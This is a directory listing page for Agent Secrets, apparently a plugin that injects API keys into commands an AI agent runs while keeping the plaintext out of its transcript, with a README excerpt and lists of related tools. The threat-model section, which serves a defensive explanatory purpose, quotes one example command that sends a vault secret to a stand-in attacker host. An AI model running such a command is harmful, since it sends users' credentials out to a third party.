Agent Secrets — AI skill for Claude Code
Let an AI agent use your API keys and passwords without the plaintext ever entering its transcript.
How to install Agent Secrets
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open zalan159/agent-secrets and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What Agent Secrets does
Let an AI agent use your API keys and passwords without the plaintext ever entering its transcript. A plugin for Claude Code, Codex, and Cteno — no daemon, no cloud.
Alternatives in AI
- Vibeproxy — Native macOS menu bar app to use your Claude Code & ChatGPT subscriptions with AI coding tools - no API keys n 3.3k ★
- Agmsg — Cross-vendor messaging for CLI AI coding agents — let Claude Code, Codex, Gemini & Copilot talk to each other 1.5k ★
- onWatch — Open-source Go CLI that tracks AI API quota usage across 7 providers (Synthetic, Z.ai, Anthropic, Codex, GitHu 397 ★
README
agent-secrets
**Let an AI agent use your API keys and passwords to get work done — without the plaintext ever entering its transcript.**
Your agent references a secret as `secret://vault/` and runs the command through `secret-exec`. The real value is resolved *downstream* of what the agent records, injected into the command that actually runs, and scrubbed back out of the output before the agent sees it. The transcript keeps the reference; the service you called gets the real value; the agent gets the result with the secret masked.
agent writes: secret-exec run 'curl -H "Authorization: Bearer secret://vault/gh" https://api.github.com/user'
transcript: …secret://vault/gh… (reference, never the value)
github.com got: Authorization: Bearer ghp_realvalue (the real value)
agent sees: { "login": "me", … } (result; any echoed secret → ***)
Works the same in **Claude Code**, **Codex**, and **Cteno**. No daemon, no cloud, no account. Each `secret-exec run` resolves and exits.
Threat model — what this does and does not promise
The guarantee is exactly the one your OS keychain gives:
**The plaintext never enters the agent transcript / LLM context.**
Explicitly **out of scope** (same as a keychain — if an attacker already has these, nothing helps):
- A resolved value briefly lives in the child process it is injected into, visible
to other processes running as the same OS user (
ps,/proc). - An agent that is actively trying to exfiltrate a secret it is allowed to
resolve can still do so (
secret-exec run 'curl attacker.com -d secret://vault/x'). Output scrubbing is defense-in-depth against accidental echo, not a sandbox. - Your machine being compromised, your network being tapped, etc.
If you need to stop a *malicious* agent from using a secret, don't give it access to that secret. This tool stops the *ordinary* leak: a helpful agent pasting your key into a transcript that gets logged, synced, a
Related Skills
Kru
Local-first MCP password and credential manager for AI agents. Use passwords, API keys, SSH identities, and TO
Phantom Secrets
Stop AI coding agents from leaking your API keys. Local proxy + MCP that swaps real secrets for phm_ tokens —
Keyfence
Local proxy that keeps your API keys and secrets out of LLM requests. Works with Claude Code, Cursor, Codex an
MCP Agent Switchboard
Local MCP switchboard for Codex, Claude Code, Gemini, Antigravity & VS Code — route tasks, run cross-model deb
Local Memory MCP
Persistent local memory for Claude, Cursor & Codex. 21 MCP tools, hybrid retrieval (BM25 + vector RRF), bi-tem
1password Skill
A Claude Code skill for securing API keys with 1Password CLI. Stop hardcoding secrets where your AI tools can
Related Agents
Secret Purist
The paranoid sentinel of credential security. Use this agent to scan codebases and git history for leaked secr
Unity Security Reviewer
Reviews Unity projects for security vulnerabilities — PlayerPrefs secrets, unencrypted saves, hardcoded API ke
Secret Guard
MUST be used whenever the user asks to scan for secrets, API keys, credentials, or tokens before a commit or i